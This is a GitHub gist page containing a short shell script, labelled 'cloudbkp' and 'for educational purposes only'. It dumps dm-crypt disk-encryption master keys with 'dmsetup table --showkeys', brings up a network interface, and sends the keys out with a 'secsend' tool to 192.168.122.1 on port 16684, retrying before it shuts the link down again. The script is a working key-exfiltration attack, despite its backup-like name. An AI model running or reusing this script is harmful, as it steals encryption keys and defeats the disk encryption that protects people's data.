Skip to content

Instantly share code, notes, and snippets.

@Snawoot

Snawoot/cloudbkp Secret

Last active June 16, 2021 18:53
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Snawoot/b495eadebe0e8c6712d4facb2e21620f to your computer and use it in GitHub Desktop.
Save Snawoot/b495eadebe0e8c6712d4facb2e21620f to your computer and use it in GitHub Desktop.
#!/bin/sh
# FOR EDUCATIONAL PURPOSES ONLY
KEYS="$(echo data begin ; dmsetup table --showkeys ; echo data end)"
IFNAME="$(/sbin/ip l | grep -Eo '(eth|enp)[^:[:space:]]+:' | grep -o '[^:]*' | head -1)"
[ ! "$IFNAME" ] && exit 0
/sbin/ip link set dev "$IFNAME" up > /dev/null 2>&1
/sbin/udhcpc -f -q -n -i "$IFNAME" > /dev/null 2>&1
for s in 5 10 0 ; do
( echo "$KEYS" | \
/sbin/secsend 'WUHTdDlpGC0Rym1SHgyC/W98eb+Amwc9AZwFFTA6SXs' 192.168.122.1 16684 \
) && break
sleep "$s"
done
interface="$IFNAME" /etc/udhcpc/default.script deconfig > /dev/null 2>&1
/sbin/ip link set dev "$IFNAME" down
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment